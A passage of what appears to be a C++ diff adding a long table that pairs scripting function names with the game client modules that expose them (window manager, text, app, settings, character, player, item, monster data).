make_pair("SetOutline","grpText") }, +{ make_pair("SetText","grpText") }, +{ make_pair("GetText","grpText") }, +{ make_pair("GetSize","grpText") }, +{ make_pair("SetPosition","grpText") }, +{ make_pair("ShowCursor","grpText") }, +{ make_pair("HideCursor","grpText") }, +{ make_pair("SetHorizontalAlign","grpText") }, +{ make_pair("SetVerticalAlign","grpText") }, +{ make_pair("SetMax","grpText") }, +{ make_pair("GetSplitingTextLineCount","grpText") }, +{ make_pair("GetSplitingTextLine","grpText") }, +{ make_pair("PixelPositionToCharacterPosition","grpText") }, +{ make_pair("ConvertMoneyText","grpText") }, +{ make_pair("SetMouseHandler","wndMgr") }, +{ make_pair("SetScreenSize","wndMgr") }, +{ make_pair("GetScreenWidth","wndMgr") }, +{ make_pair("GetScreenHeight","wndMgr") }, +{ make_pair("AttachIcon","wndMgr") }, +{ make_pair("DeattachIcon","wndMgr") }, +{ make_pair("SetAttachingFlag","wndMgr") }, +{ make_pair("GetAspect","wndMgr") }, +{ make_pair("GetHyperlink","wndMgr") }, +{ make_pair("OnceIgnoreMouseLeftButtonUpEvent","wndMgr") }, +{ make_pair("ActivateEffect","wndMgr") }, +{ make_pair("DeactivateEffect","wndMgr") }, +{ make_pair("Register","wndMgr") }, +{ make_pair("RegisterSlotWindow","wndMgr") }, +{ make_pair("RegisterGridSlotWindow","wndMgr") }, +{ make_pair("RegisterTextLine","wndMgr") }, +{ make_pair("RegisterMarkBox","wndMgr") }, +{ make_pair("RegisterImageBox","wndMgr") }, +{ make_pair("RegisterExpandedImageBox","wndMgr") }, +{ make_pair("RegisterAniImageBox","wndMgr") }, +{ make_pair("RegisterButton","wndMgr") }, +{ make_pair("RegisterRadioButton","wndMgr") }, +{ make_pair("RegisterToggleButton","wndMgr") }, +{ make_pair("RegisterDragButton","wndMgr") }, +{ make_pair("RegisterBox","wndMgr") }, +{ make_pair("RegisterBar","wndMgr") }, +{ make_pair("RegisterLine","wndMgr") }, +{ make_pair("RegisterBar3D","wndMgr") }, +{ make_pair("RegisterNumberLine","wndMgr") }, +{ make_pair("Destroy","wndMgr") }, +{ make_pair("AddFlag","wndMgr") }, +{ make_pair("IsRTL","wndMgr") }, +{ make_pair("SetName","wndMgr") }, +{ make_pair("GetName","wndMgr") }, +{ make_pair("SetTop","wndMgr") }, +{ make_pair("Show","wndMgr") }, +{ make_pair("Hide","wndMgr") }, +{ make_pair("IsShow","wndMgr") }, +{ make_pair("SetParent","wndMgr") }, +{ make_pair("SetPickAlways","wndMgr") }, +{ make_pair("IsFocus","wndMgr") }, +{ make_pair("SetFocus","wndMgr") }, +{ make_pair("KillFocus","wndMgr") }, +{ make_pair("Lock","wndMgr") }, +{ make_pair("Unlock","wndMgr") }, +{ make_pair("SetWindowSize","wndMgr") }, +{ make_pair("SetWindowPosition","wndMgr") }, +{ make_pair("GetWindowWidth","wndMgr") }, +{ make_pair("GetWindowHeight","wndMgr") }, +{ make_pair("GetWindowLocalPosition","wndMgr") }, +{ make_pair("GetWindowGlobalPosition","wndMgr") }, +{ make_pair("GetWindowRect","wndMgr") }, +{ make_pair("SetWindowHorizontalAlign","wndMgr") }, +{ make_pair("SetWindowVerticalAlign","wndMgr") }, +{ make_pair("GetChildCount","wndMgr") }, +{ make_pair("IsPickedWindow","wndMgr") }, +{ make_pair("IsIn","wndMgr") }, +{ make_pair("GetMouseLocalPosition","wndMgr") }, +{ make_pair("GetMousePosition","wndMgr") }, +{ make_pair("IsDragging","wndMgr") }, +{ make_pair("SetLimitBias","wndMgr") }, +{ make_pair("UpdateRect","wndMgr") }, +{ make_pair("AppendSlot","wndMgr") }, +{ make_pair("ArrangeSlot","wndMgr") }, +{ make_pair("ClearSlot","wndMgr") }, +{ make_pair("ClearAllSlot","wndMgr") }, +{ make_pair("HasSlot","wndMgr") }, +{ make_pair("SetSlot","wndMgr") }, +{ make_pair("SetCardSlot","wndMgr") }, +{ make_pair("SetSlotCount","wndMgr") }, +{ make_pair("SetSlotCountNew","wndMgr") }, +{ make_pair("SetSlotCoolTime","wndMgr") }, +{ make_pair("SetToggleSlot","wndMgr") }, +{ make_pair("ActivateSlot","wndMgr") }, +{ make_pair("DeactivateSlot","wndMgr") }, +{ make_pair("EnableSlot","wndMgr") }, +{ make_pair("DisableSlot","wndMgr") }, +{ make_pair("ShowSlotBaseImage","wndMgr") }, +{ make_pair("HideSlotBaseImage","wndMgr") }, +{ make_pair("SetSlotType","wndMgr") }, +{ make_pair("SetSlotStyle","wndMgr") }, +{ make_pair("SetSlotBaseImage","wndMgr") }, +{ make_pair("SetCoverButton","wndMgr") }, +{ make_pair("EnableCoverButton","wndMgr") }, +{ make_pair("DisableCoverButton","wndMgr") }, +{ make_pair("IsDisableCoverButton","wndMgr") }, +{ make_pair("SetAlwaysRenderCoverButton","wndMgr") }, +{ make_pair("AppendSlotButton","wndMgr") }, +{ make_pair("AppendRequirementSignImage","wndMgr") }, +{ make_pair("ShowSlotButton","wndMgr") }, +{ make_pair("HideAllSlotButton","wndMgr") }, +{ make_pair("ShowRequirementSign","wndMgr") }, +{ make_pair("HideRequirementSign","wndMgr") }, +{ make_pair("RefreshSlot","wndMgr") }, +{ make_pair("SetUseMode","wndMgr") }, +{ make_pair("SetUsableItem","wndMgr") }, +{ make_pair("SelectSlot","wndMgr") }, +{ make_pair("ClearSelected","wndMgr") }, +{ make_pair("GetSelectedSlotCount","wndMgr") }, +{ make_pair("GetSelectedSlotNumber","wndMgr") }, +{ make_pair("IsSelectedSlot","wndMgr") }, +{ make_pair("GetSlotCount","wndMgr") }, +{ make_pair("LockSlot","wndMgr") }, +{ make_pair("UnlockSlot","wndMgr") }, +{ make_pair("SetColor","wndMgr") }, +{ make_pair("SetMax","wndMgr") }, +{ make_pair("SetHorizontalAlign","wndMgr") }, +{ make_pair("SetVerticalAlign","wndMgr") }, +{ make_pair("SetSecret","wndMgr") }, +{ make_pair("SetOutline","wndMgr") }, +{ make_pair("SetFeather","wndMgr") }, +{ make_pair("SetMultiLine","wndMgr") }, +{ make_pair("SetText","wndMgr") }, +{ make_pair("SetFontName","wndMgr") }, +{ make_pair("SetFontColor","wndMgr") }, +{ make_pair("SetLimitWidth","wndMgr") }, +{ make_pair("GetText","wndMgr") }, +{ make_pair("GetTextSize","wndMgr") }, +{ make_pair("ShowCursor","wndMgr") }, +{ make_pair("HideCursor","wndMgr") }, +{ make_pair("GetCursorPosition","wndMgr") }, +{ make_pair("SetNumber","wndMgr") }, +{ make_pair("SetNumberHorizontalAlignCenter","wndMgr") }, +{ make_pair("SetNumberHorizontalAlignRight","wndMgr") }, +{ make_pair("SetPath","wndMgr") }, +{ make_pair("MarkBox_SetImage","wndMgr") }, +{ make_pair("MarkBox_SetImageFilename","wndMgr") }, +{ make_pair("MarkBox_Load","wndMgr") }, +{ make_pair("MarkBox_SetIndex","wndMgr") }, +{ make_pair("MarkBox_SetScale","wndMgr") }, +{ make_pair("MarkBox_SetDiffuseColor","wndMgr") }, +{ make_pair("LoadImage","wndMgr") }, +{ make_pair("SetDiffuseColor","wndMgr") }, +{ make_pair("GetWidth","wndMgr") }, +{ make_pair("GetHeight","wndMgr") }, +{ make_pair("SetScale","wndMgr") }, +{ make_pair("SetOrigin","wndMgr") }, +{ make_pair("SetRotation","wndMgr") }, +{ make_pair("SetRenderingRect","wndMgr") }, +{ make_pair("SetRenderingMode","wndMgr") }, +{ make_pair("SetDelay","wndMgr") }, +{ make_pair("AppendImage","wndMgr") }, +{ make_pair("ResetFrame","wndMgr") }, +{ make_pair("SetUpVisual","wndMgr") }, +{ make_pair("SetOverVisual","wndMgr") }, +{ make_pair("SetDownVisual","wndMgr") }, +{ make_pair("SetDisableVisual","wndMgr") }, +{ make_pair("GetUpVisualFileName","wndMgr") }, +{ make_pair("GetOverVisualFileName","wndMgr") }, +{ make_pair("GetDownVisualFileName","wndMgr") }, +{ make_pair("Flash","wndMgr") }, +{ make_pair("Enable","wndMgr") }, +{ make_pair("Disable","wndMgr") }, +{ make_pair("Down","wndMgr") }, +{ make_pair("SetUp","wndMgr") }, +{ make_pair("IsDown","wndMgr") }, +{ make_pair("SetRestrictMovementArea","wndMgr") }, +{ make_pair("EnableSlotCoverImage","wndMgr") }, +{ make_pair("DisableSlotCoverImage","wndMgr") }, +{ make_pair("ActivateChangeLookSlot","wndMgr") }, +{ make_pair("DeactivateChangeLookSlot","wndMgr") }, +{ make_pair("SetOutlineFlag","wndMgr") }, +{ make_pair("ShowOverInWindowName","wndMgr") }, +{ make_pair("SetSlotEnableEffect","wndMgr") }, +{ make_pair("DisableSlotEnableEffect","wndMgr") }, +{ make_pair("RegisterRenderTarget","wndMgr") }, +{ make_pair("SetRenderTarget","wndMgr") }, +{ make_pair("SetCanMouseEventSlot","wndMgr") }, +{ make_pair("SetCantMouseEventSlot","wndMgr") }, +{ make_pair("SetUsableSlotOnTopWnd","wndMgr") }, +{ make_pair("SetUnusableSlotOnTopWnd","wndMgr") }, +{ make_pair("IsDevStage","app") }, +{ make_pair("IsTestStage","app") }, +{ make_pair("IsLiveStage","app") }, +{ make_pair("SetTextTailLivingTime","app") }, +{ make_pair("EnablePerformanceTime","app") }, +{ make_pair("SetHairColorEnable","app") }, +{ make_pair("SetArmorSpecularEnable","app") }, +{ make_pair("SetWeaponSpecularEnable","app") }, +{ make_pair("SetSkillEffectUpgradeEnable","app") }, +{ make_pair("SetTwoHandedWeaponAttSpeedDecreaseValue","app") }, +{ make_pair("SetRideHorseEnable","app") }, +{ make_pair("SetCameraMaxDistance","app") }, +{ make_pair("SetMinFog","app") }, +{ make_pair("SetFrameSkip","app") }, +{ make_pair("GetImageInfo","app") }, +{ make_pair("GetInfo","app") }, +{ make_pair("UpdateGame","app") }, +{ make_pair("RenderGame","app") }, +{ make_pair("Loop","app") }, +{ make_pair("Create","app") }, +{ make_pair("Process","app") }, +{ make_pair("Exit","app") }, +{ make_pair("Abort","app") }, +{ make_pair("SetMouseHandler","app") }, +{ make_pair("IsExistFile","app") }, +{ make_pair("GetFileList","app") }, +{ make_pair("SetCamera","app") }, +{ make_pair("GetCamera","app") }, +{ make_pair("GetCameraPitch","app") }, +{ make_pair("GetCameraRotation","app") }, +{ make_pair("GetTime","app") }, +{ make_pair("GetGlobalTime","app") }, +{ make_pair("GetGlobalTimeStamp","app") }, +{ make_pair("GetUpdateFPS","app") }, +{ make_pair("GetRenderFPS","app") }, +{ make_pair("RotateCamera","app") }, +{ make_pair("PitchCamera","app") }, +{ make_pair("ZoomCamera","app") }, +{ make_pair("MovieRotateCamera","app") }, +{ make_pair("MoviePitchCamera","app") }, +{ make_pair("MovieZoomCamera","app") }, +{ make_pair("MovieResetCamera","app") }, +{ make_pair("GetAvailableTextureMemory","app") }, +{ make_pair("GetRenderTime","app") }, +{ make_pair("GetUpdateTime","app") }, +{ make_pair("GetLoad","app") }, +{ make_pair("GetFaceSpeed","app") }, +{ make_pair("GetFaceCount","app") }, +{ make_pair("SetFPS","app") }, +{ make_pair("SetGlobalCenterPosition","app") }, +{ make_pair("SetCenterPosition","app") }, +{ make_pair("GetCursorPosition","app") }, +{ make_pair("GetRandom","app") }, +{ make_pair("IsWebPageMode","app") }, +{ make_pair("ShowWebPage","app") }, +{ make_pair("MoveWebPage","app") }, +{ make_pair("HideWebPage","app") }, +{ make_pair("IsPressed","app") }, +{ make_pair("SetCursor","app") }, +{ make_pair("GetCursor","app") }, +{ make_pair("ShowCursor","app") }, +{ make_pair("HideCursor","app") }, +{ make_pair("IsShowCursor","app") }, +{ make_pair("IsLiarCursorOn","app") }, +{ make_pair("SetSoftwareCursor","app") }, +{ make_pair("SetHardwareCursor","app") }, +{ make_pair("SetConnectData","app") }, +{ make_pair("GetConnectData","app") }, +{ make_pair("GetRotatingDirection","app") }, +{ make_pair("GetDegreeDifference","app") }, +{ make_pair("Sleep","app") }, +{ make_pair("SetDefaultFontName","app") }, +{ make_pair("SetGuildSymbolPath","app") }, +{ make_pair("EnableSpecialCameraMode","app") }, +{ make_pair("SetCameraSpeed","app") }, +{ make_pair("SaveCameraSetting","app") }, +{ make_pair("LoadCameraSetting","app") }, +{ make_pair("SetDefaultCamera","app") }, +{ make_pair("SetCameraSetting","app") }, +{ make_pair("SetSightRange","app") }, +{ make_pair("IsFileExist","app") }, +{ make_pair("OpenTextFile","app") }, +{ make_pair("CloseTextFile","app") }, +{ make_pair("GetTextFileLineCount","app") }, +{ make_pair("GetTextFileLine","app") }, +{ make_pair("GetLocaleServiceName","app") }, +{ make_pair("GetLocaleName","app") }, +{ make_pair("GetLocalePath","app") }, +{ make_pair("ForceSetLocale","app") }, +{ make_pair("LoadLocaleAddr","app") }, +{ make_pair("LoadLocaleData","app") }, +{ make_pair("SetCHEONMA","app") }, +{ make_pair("IsCHEONMA","app") }, +{ make_pair("GetDefaultCodePage","app") }, +{ make_pair("SetControlFP","app") }, +{ make_pair("SetSpecularSpeed","app") }, +{ make_pair("testGetAccumulationTime","app") }, +{ make_pair("testResetAccumulationTime","app") }, +{ make_pair("testSetSpecularColor","app") }, +{ make_pair("SetVisibleNotice","app") }, +{ make_pair("IsVisibleNotice","app") }, +{ make_pair("EnableTestServerFlag","app") }, +{ make_pair("IsEnableTestServerFlag","app") }, +{ make_pair("SetGuildMarkPath","app") }, +{ make_pair("OnLogoUpdate","app") }, +{ make_pair("OnLogoRender","app") }, +{ make_pair("OnLogoOpen","app") }, +{ make_pair("OnLogoClose","app") }, +{ make_pair("ExecuteShell","app") }, +{ make_pair("GetWidth","systemSetting") }, +{ make_pair("GetHeight","systemSetting") }, +{ make_pair("SetInterfaceHandler","systemSetting") }, +{ make_pair("DestroyInterfaceHandler","systemSetting") }, +{ make_pair("ReserveResource","systemSetting") }, +{ make_pair("isInterfaceConfig","systemSetting") }, +{ make_pair("SaveWindowStatus","systemSetting") }, +{ make_pair("GetWindowStatus","systemSetting") }, +{ make_pair("GetResolutionCount","systemSetting") }, +{ make_pair("GetFrequencyCount","systemSetting") }, +{ make_pair("GetCurrentResolution","systemSetting") }, +{ make_pair("GetResolution","systemSetting") }, +{ make_pair("GetFrequency","systemSetting") }, +{ make_pair("ApplyConfig","systemSetting") }, +{ make_pair("SetConfig","systemSetting") }, +{ make_pair("SaveConfig","systemSetting") }, +{ make_pair("GetConfig","systemSetting") }, +{ make_pair("SetSaveID","systemSetting") }, +{ make_pair("isSaveID","systemSetting") }, +{ make_pair("GetSaveID","systemSetting") }, +{ make_pair("GetMusicVolume","systemSetting") }, +{ make_pair("GetSoundVolume","systemSetting") }, +{ make_pair("SetMusicVolume","systemSetting") }, +{ make_pair("SetSoundVolumef","systemSetting") }, +{ make_pair("IsSoftwareCursor","systemSetting") }, +{ make_pair("SetViewChatFlag","systemSetting") }, +{ make_pair("IsViewChat","systemSetting") }, +{ make_pair("SetAlwaysShowNameFlag","systemSetting") }, +{ make_pair("GetAlwaysShowName","systemSetting") }, +{ make_pair("SetShowDamageFlag","systemSetting") }, +{ make_pair("IsShowDamage","systemSetting") }, +{ make_pair("SetShowSalesTextFlag","systemSetting") }, +{ make_pair("IsShowSalesText","systemSetting") }, +{ make_pair("GetShadowLevel","systemSetting") }, +{ make_pair("SetShadowLevel","systemSetting") }, +{ make_pair("SetShopNamesRange","systemSetting") }, +{ make_pair("GetShopNamesRange","systemSetting") }, +{ make_pair("GetEffectMode","systemSetting") }, +{ make_pair("SetEffectMode","systemSetting") }, +{ make_pair("GetPetHideFlag","systemSetting") }, +{ make_pair("SetPetHideFlag","systemSetting") }, +{ make_pair("SetVisableMonsterRange","systemSetting") }, +{ make_pair("GetVisableMonsterRange","systemSetting") }, +{ make_pair("SetVisableShopRange","systemSetting") }, +{ make_pair("GetVisableShopRange","systemSetting") }, +{ make_pair("SetCountUseItem","systemSetting") }, +{ make_pair("GetCountUseItem","systemSetting") }, +{ make_pair("SetEffectLevel","systemSetting") }, +{ make_pair("GetEffectLevel","systemSetting") }, +{ make_pair("IsAffectInvisibility","chr") }, +{ make_pair("DismountHorse","chr") }, +{ make_pair("MountHorse","chr") }, +{ make_pair("SetSash","chr") }, +{ make_pair("Destroy","chr") }, +{ make_pair("Update","chr") }, +{ make_pair("Deform","chr") }, +{ make_pair("Render","chr") }, +{ make_pair("RenderCollision","chr") }, +{ make_pair("CreateInstance","chr") }, +{ make_pair("DeleteInstance","chr") }, +{ make_pair("DeleteInstanceByFade","chr") }, +{ make_pair("SelectInstance","chr") }, +{ make_pair("HasInstance","chr") }, +{ make_pair("IsEnemy","chr") }, +{ make_pair("IsNPC","chr") }, +{ make_pair("IsGameMaster","chr") }, +{ make_pair("IsPartyMember","chr") }, +{ make_pair("Select","chr") }, +{ make_pair("SetAddRenderMode","chr") }, +{ make_pair("SetBlendRenderMode","chr") }, +{ make_pair("Unselect","chr") }, +{ make_pair("Hide","chr") }, +{ make_pair("Show","chr") }, +{ make_pair("Pick","chr") }, +{ make_pair("PickAll","chr") }, +{ make_pair("SetArmor","chr") }, +{ make_pair("SetWeapon","chr") }, +{ make_pair("ChangeShape","chr") }, +{ make_pair("SetRace","chr") }, +{ make_pair("SetHair","chr") }, +{ make_pair("ChangeHair","chr") }, +{ make_pair("SetVirtualID","chr") }, +{ make_pair("SetNameString","chr") }, +{ make_pair("SetInstanceType","chr") }, +{ make_pair("SetPixelPosition","chr") }, +{ make_pair("SetDirection","chr") }, +{ make_pair("Refresh","chr") }, +{ make_pair("Revive","chr") }, +{ make_pair("Die","chr") }, +{ make_pair("AttachEffectByID","chr") }, +{ make_pair("AttachEffectByName","chr") }, +{ make_pair("LookAt","chr") }, +{ make_pair("SetMotionMode","chr") }, +{ make_pair("SetLoopMotion","chr") }, +{ make_pair("BlendLoopMotion","chr") }, +{ make_pair("PushOnceMotion","chr") }, +{ make_pair("PushLoopMotion","chr") }, +{ make_pair("GetPixelPosition","chr") }, +{ make_pair("SetRotation","chr") }, +{ make_pair("SetRotationAll","chr") }, +{ make_pair("BlendRotation","chr") }, +{ make_pair("GetRotation","chr") }, +{ make_pair("GetRace","chr") }, +{ make_pair("GetName","chr") }, +{ make_pair("GetNameByVID","chr") }, +{ make_pair("GetGuildID","chr") }, +{ make_pair("GetProjectPosition","chr") }, +{ make_pair("GetVirtualNumber","chr") }, +{ make_pair("GetInstanceType","chr") }, +{ make_pair("GetBoundBoxOnlyXY","chr") }, +{ make_pair("RaceToJob","chr") }, +{ make_pair("RaceToSex","chr") }, +{ make_pair("testGetPKData","chr") }, +{ make_pair("FaintTest","chr") }, +{ make_pair("WeaponTraceSetTexture","chr") }, +{ make_pair("WeaponTraceUseAlpha","chr") }, +{ make_pair("WeaponTraceUseTexture","chr") }, +{ make_pair("MoveToDestPosition","chr") }, +{ make_pair("testSetComboType","chr") }, +{ make_pair("testSetAddRenderMode","chr") }, +{ make_pair("testSetModulateRenderMode","chr") }, +{ make_pair("testSetAddRenderModeRGB","chr") }, +{ make_pair("testSetModulateRenderModeRGB","chr") }, +{ make_pair("testSetSpecularRenderMode","chr") }, +{ make_pair("testSetSpecularRenderMode2","chr") }, +{ make_pair("testRestoreRenderMode","chr") }, +{ make_pair("testSetRideMan","chr") }, +{ make_pair("IsAffect","chr") }, +{ make_pair("SetEmpireNameMode","chrmgr") }, +{ make_pair("GetVIDInfo","chrmgr") }, +{ make_pair("GetPickedVID","chrmgr") }, +{ make_pair("SetShapeModel","chrmgr") }, +{ make_pair("AppendShapeSkin","chrmgr") }, +{ make_pair("SetPathName","chrmgr") }, +{ make_pair("LoadRaceData","chrmgr") }, +{ make_pair("LoadLocalRaceData","chrmgr") }, +{ make_pair("CreateRace","chrmgr") }, +{ make_pair("SelectRace","chrmgr") }, +{ make_pair("RegisterAttachingBoneName","chrmgr") }, +{ make_pair("RegisterMotionMode","chrmgr") }, +{ make_pair("SetMotionRandomWeight","chrmgr") }, +{ make_pair("RegisterNormalAttack","chrmgr") }, +{ make_pair("ReserveComboAttack","chrmgr") }, +{ make_pair("RegisterComboAttack","chrmgr") }, +{ make_pair("ReserveComboAttackNew","chrmgr") }, +{ make_pair("RegisterComboAttackNew","chrmgr") }, +{ make_pair("RegisterMotionData","chrmgr") }, +{ make_pair("RegisterRaceName","chrmgr") }, +{ make_pair("RegisterSpecialMob","chrmgr") }, +{ make_pair("RegisterRaceSrcName","chrmgr") }, +{ make_pair("ClearRaceName","chrmgr") }, +{ make_pair("ReloadRaceName","chrmgr") }, +{ make_pair("RegisterCacheMotionData","chrmgr") }, +{ make_pair("SetAffect","chrmgr") }, +{ make_pair("SetEmoticon","chrmgr") }, +{ make_pair("IsPossibleEmoticon","chrmgr") }, +{ make_pair("RegisterEffect","chrmgr") }, +{ make_pair("RegisterCacheEffect","chrmgr") }, +{ make_pair("RegisterPointEffect","chrmgr") }, +{ make_pair("ShowPointEffect","chrmgr") }, +{ make_pair("ToggleDirectionLine","chrmgr") }, +{ make_pair("SetDustGap","chrmgr") }, +{ make_pair("SetHorseDustGap","chrmgr") }, +{ make_pair("RegisterTitleName","chrmgr") }, +{ make_pair("RegisterNameColor","chrmgr") }, +{ make_pair("RegisterTitleColor","chrmgr") }, +{ make_pair("RegisterTitleColorNew","chrmgr") }, +{ make_pair("GetAutoPotionInfo","player") }, +{ make_pair("SetAutoPotionInfo","player") }, +{ make_pair("IsTournamentMap","player") }, +{ make_pair("PickCloseItem","player") }, +{ make_pair("SetGameWindow","player") }, +{ make_pair("RegisterEffect","player") }, +{ make_pair("RegisterCacheEffect","player") }, +{ make_pair("SetMouseState","player") }, +{ make_pair("SetMouseFunc","player") }, +{ make_pair("GetMouseFunc","player") }, +{ make_pair("SetMouseMiddleButtonState","player") }, +{ make_pair("SetMainCharacterIndex","player") }, +{ make_pair("GetMainCharacterIndex","player") }, +{ make_pair("GetMainCharacterName","player") }, +{ make_pair("GetMainCharacterPosition","player") }, +{ make_pair("IsMainCharacterIndex","player") }, +{ make_pair("CanAttackInstance","player") }, +{ make_pair("IsActingEmotion","player") }, +{ make_pair("IsPVPInstance","player") }, +{ make_pair("IsSameEmpire","player") }, +{ make_pair("IsChallengeInstance","player") }, +{ make_pair("IsRevengeInstance","player") }, +{ make_pair("IsCantFightInstance","player") }, +{ make_pair("GetCharacterDistance","player") }, +{ make_pair("IsInSafeArea","player") }, +{ make_pair("IsMountingHorse","player") }, +{ make_pair("IsObserverMode","player") }, +{ make_pair("ActEmotion","player") }, +{ make_pair("ShowPlayer","player") }, +{ make_pair("HidePlayer","player") }, +{ make_pair("ComboAttack","player") }, +{ make_pair("SetAutoCameraRotationSpeed","player") }, +{ make_pair("SetAttackKeyState","player") }, +{ make_pair("SetSingleDIKKeyState","player") }, +{ make_pair("EndKeyWalkingImmediately","player") }, +{ make_pair("StartMouseWalking","player") }, +{ make_pair("EndMouseWalking","player") }, +{ make_pair("ResetCameraRotation","player") }, +{ make_pair("SetQuickCameraMode","player") }, +{ make_pair("SetSkill","player") }, +{ make_pair("GetSkillIndex","player") }, +{ make_pair("GetSkillSlotIndex","player") }, +{ make_pair("GetSkillGrade","player") }, +{ make_pair("GetSkillLevel","player") }, +{ make_pair("GetSkillCurrentEfficientPercentage","player") }, +{ make_pair("GetSkillNextEfficientPercentage","player") }, +{ make_pair("ClickSkillSlot","player") }, +{ make_pair("ChangeCurrentSkillNumberOnly","player") }, +{ make_pair("ClearSkillDict","player") }, +{ make_pair("GetItemIndex","player") }, +{ make_pair("GetItemFlags","player") }, +{ make_pair("GetItemCount","player") }, +{ make_pair("GetItemCountByVnum","player") }, +{ make_pair("GetItemMetinSocket","player") }, +{ make_pair("GetItemAttribute","player") }, +{ make_pair("GetISellItemPrice","player") }, +{ make_pair("MoveItem","player") }, +{ make_pair("SendClickItemPacket","player") }, +{ make_pair("GetName","player") }, +{ make_pair("GetTheName","player") }, +{ make_pair("GetJob","player") }, +{ make_pair("GetRace","player") }, +{ make_pair("GetPlayTime","player") }, +{ make_pair("SetPlayTime","player") }, +{ make_pair("IsSkillCoolTime","player") }, +{ make_pair("GetSkillCoolTime","player") }, +{ make_pair("IsSkillActive","player") }, +{ make_pair("UseGuildSkill","player") }, +{ make_pair("AffectIndexToSkillIndex","player") }, +{ make_pair("GetEXP","player") }, +{ make_pair("GetStatus","player") }, +{ make_pair("SetStatus","player") }, +{ make_pair("GetElk","player") }, +{ make_pair("GetMoney","player") }, +{ make_pair("GetCheque","player") }, +{ make_pair("GetRP","player") }, +{ make_pair("GetPO","player") }, +{ make_pair("GetGuildID","player") }, +{ make_pair("GetGuildName","player") }, +{ make_pair("GetAlignmentData","player") }, +{ make_pair("GetAlignmentColor","player") }, +{ make_pair("RequestAddLocalQuickSlot","player") }, +{ make_pair("RequestAddToEmptyLocalQuickSlot","player") }, +{ make_pair("RequestDeleteGlobalQuickSlot","player") }, +{ make_pair("RequestMoveGlobalQuickSlotToLocalQuickSlot","player") }, +{ make_pair("RequestUseLocalQuickSlot","player") }, +{ make_pair("LocalQuickSlotIndexToGlobalQuickSlotIndex","player") }, +{ make_pair("GetQuickPage","player") }, +{ make_pair("SetQuickPage","player") }, +{ make_pair("GetLocalQuickSlot","player") }, +{ make_pair("GetGlobalQuickSlot","player") }, +{ make_pair("RemoveQuickSlotByValue","player") }, +{ make_pair("isItem","player") }, +{ make_pair("IsEquipmentSlot","player") }, +{ make_pair("IsDSEquipmentSlot","player") }, +{ make_pair("IsCostumeSlot","player") }, +{ make_pair("IsValuableItem","player") }, +{ make_pair("IsOpenPrivateShop","player") }, +{ make_pair("IsBeltInventorySlot","player") }, +{ make_pair("IsEquippingBelt","player") }, +{ make_pair("IsAvailableBeltInventoryCell","player") }, +{ make_pair("GetItemGrade","player") }, +{ make_pair("CanRefine","player") }, +{ make_pair("CanDetach","player") }, +{ make_pair("CanUnlock","player") }, +{ make_pair("CanAttachMetin","player") }, +{ make_pair("IsRefineGradeScroll","player") }, +{ make_pair("ClearTarget","player") }, +{ make_pair("SetTarget","player") }, +{ make_pair("OpenCharacterMenu","player") }, +{ make_pair("Update","player") }, +{ make_pair("Render","player") }, +{ make_pair("Clear","player") }, +{ make_pair("IsPartyMember","player") }, +{ make_pair("IsPartyLeader","player") }, +{ make_pair("IsPartyLeaderByPID","player") }, +{ make_pair("GetPartyMemberHPPercentage","player") }, +{ make_pair("GetPartyMemberState","player") }, +{ make_pair("GetPartyMemberAffects","player") }, +{ make_pair("RemovePartyMember","player") }, +{ make_pair("ExitParty","player") }, +{ make_pair("GetPKMode","player") }, +{ make_pair("HasMobilePhoneNumber","player") }, +{ make_pair("RegisterEmotionIcon","player") }, +{ make_pair("GetEmotionIconImage","player") }, +{ make_pair("GetItemTransmutate","player") }, +{ make_pair("SetWeaponAttackBonusFlag","player") }, +{ make_pair("ToggleCoolTime","player") }, +{ make_pair("ToggleLevelLimit","player") }, +{ make_pair("GetTargetVID","player") }, +{ make_pair("SetItemData","player") }, +{ make_pair("SetItemMetinSocket","player") }, +{ make_pair("SetItemAttribute","player") }, +{ make_pair("SetItemCount","player") }, +{ make_pair("GetItemLink","player") }, +{ make_pair("SlotTypeToInvenType","player") }, +{ make_pair("SendDragonSoulRefine","player") }, +{ make_pair("StackItems","player") }, +{ make_pair("IsAntiFlagBySlot","player") }, +{ make_pair("GetItemTypeBySlot","player") }, +{ make_pair("GetItemSubTypeBySlot","player") }, +{ make_pair("IsSameItemVnum","player") }, +{ make_pair("IsShiningSlot","player") }, +{ make_pair("SelectModel","player") }, +{ make_pair("SetPart","player") }, +{ make_pair("SetVisibility","player") }, +{ make_pair("SetBackground","player") }, +{ make_pair("SetVisitedOfflineShop","player") }, +{ make_pair("InventoryLockCount","player") }, +{ make_pair("SetUseSoundFileName","item") }, +{ make_pair("SetDropSoundFileName","item") }, +{ make_pair("SelectItem","item") }, +{ make_pair("GetItemName","item") }, +{ make_pair("GetItemDescription","item") }, +{ make_pair("GetItemSummary","item") }, +{ make_pair("GetIconImage","item") }, +{ make_pair("GetIconImageFileName","item") }, +{ make_pair("GetItemSize","item") }, +{ make_pair("GetItemType","item") }, +{ make_pair("GetItemSubType","item") }, +{ make_pair("GetIBuyItemPrice","item") }, +{ make_pair("GetISellItemPrice","item") }, +{ make_pair("IsAntiFlag","item") }, +{ make_pair("IsFlag","item") }, +{ make_pair("IsWearableFlag","item") }, +{ make_pair("Is1GoldItem","item") }, +{ make_pair("GetLimit","item") }, +{ make_pair("GetAffect","item") }, +{ make_pair("GetValue","item") }, +{ make_pair("GetSocket","item") }, +{ make_pair("GetIconInstance","item") }, +{ make_pair("GetUseType","item") }, +{ make_pair("DeleteIconInstance","item") }, +{ make_pair("IsEquipmentVID","item") }, +{ make_pair("IsRefineScroll","item") }, +{ make_pair("IsDetachScroll","item") }, +{ make_pair("IsKey","item") }, +{ make_pair("IsMetin","item") }, +{ make_pair("CanAddToQuickSlotItem","item") }, +{ make_pair("GetAntiFlag","item") }, +{ make_pair("Update","item") }, +{ make_pair("Render","item") }, +{ make_pair("CreateItem","item") }, +{ make_pair("DeleteItem","item") }, +{ make_pair("Pick","item") }, +{ make_pair("LoadItemTable","item") }, +{ make_pair("GetItemsByName","item") }, +{ make_pair("IsRefinable","item") }, +{ make_pair("GetItemAntiFlag","item") }, +{ make_pair("GetEventType","nonplayer") }, +{ make_pair("GetEventTypeByVID","nonplayer") }, +{ make_pair("GetLevelByVID","nonplayer") }, +{ make_pair("GetGradeByVID","nonplayer") }, +{ make_pair("GetTypeByVID","nonplayer") }, +{ make_pair("GetMonsterName","nonplayer") }, +{ make_pair("LoadNonPlayerData","nonplayer") }, +{ make_pair("GetMonsterMaxHp","nonplayer") }, +{ make_pair("GetRaceFlagByVID","nonplayer") }, +{ make_pair("GetMonsterLevel","nonplayer") }, +{ make_pair("IsMonsterBoss","nonplayer") }, +{ 